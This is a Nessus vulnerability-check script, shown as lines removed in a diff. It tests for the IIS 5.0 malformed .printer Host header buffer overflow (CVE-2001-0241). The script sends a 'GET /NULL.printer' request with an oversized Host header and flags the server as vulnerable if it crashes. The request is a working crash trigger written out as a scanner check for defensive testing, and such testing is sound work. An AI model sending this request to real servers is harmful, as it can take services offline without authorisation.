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- #
- # This script was written by John Lampe...j_lampe@bellsouth.net
- #
- #
- # See the Nessus Scripts License for details
- #
-
- if(description)
- {
- script_id(10657);
- script_bugtraq_id(2674);
- script_version ("$Revision: 1.21 $");
- script_cve_id("CVE-2001-0241");
- name["english"] = "NT IIS 5.0 Malformed HTTP Printer Request Header Buffer Overflow Vulnerability";
-
-
- script_name(english:name["english"]);
-
- desc["english"] = "
- There is a buffer overflow in the remote IIS web server.
- It is possible to overflow the remote Web server and execute
- commands as the SYSTEM user.
-
- At attacker may make use of this vulnerability and use it to
- gain access to confidential data and/or escalate their privileges
- on the Web server.
-
- See http://www.eeye.com/html/Research/Advisories/AD20010501.html
- for more details.
-
- Solution: See http://www.microsoft.com/technet/security/bulletin/ms01-023.mspx
-
- Risk factor : High";
-
- script_description(english:desc["english"]);
-
- # Summary
- summary["english"] = "Tests for a remote buffer overflow in IIS 5.0";
- script_summary(english:summary["english"]);
-
- # Category
- script_category(ACT_DESTRUCTIVE_ATTACK);
-
- # Dependencie(s)
- script_dependencie("find_service.nes", "http_version.nasl", "www_fingerprinting_hmap.nasl");
-
- # Family
- family["english"] = "Gain root remotely";
- family["francais"] = "Passer root α distance";
- script_family(english:family["english"],
- francais:family["francais"]);
-
- # Copyright
- script_copyright(english:"This script is Copyright (C) 2001 John Lampe",
- francais:"Ce script est Copyright (C) 2001 John lampe");
-
- script_require_ports("Services/www", 80);
- exit(0);
- }
-
- # The attack starts here
-
- include("http_func.inc");
-
-
- port = get_http_port(default:80);
-
-
- sig = get_kb_item("www/hmap/" + port + "/description");
- if ( sig && "IIS" >!< sig ) exit(0);
-
- if(get_port_state(port)) {
- if(http_is_dead(port:port))exit(0);
-
- mystring = string("GET /NULL.printer HTTP/1.1\r\n");
- mystring = string (mystring, "Host: ", crap(420), "\r\n\r\n");
- mystring2 = http_get(item:"/", port:port);
- soc = http_open_socket(port);
- if(!soc) {exit(0);}
- else {
- send(socket:soc, data:mystring);
- r = http_recv(socket:soc);
- http_close_socket(soc);
-
- if(http_is_dead(port:port))
- {
- security_hole(port);
- exit(0);
- }
- }
- }
-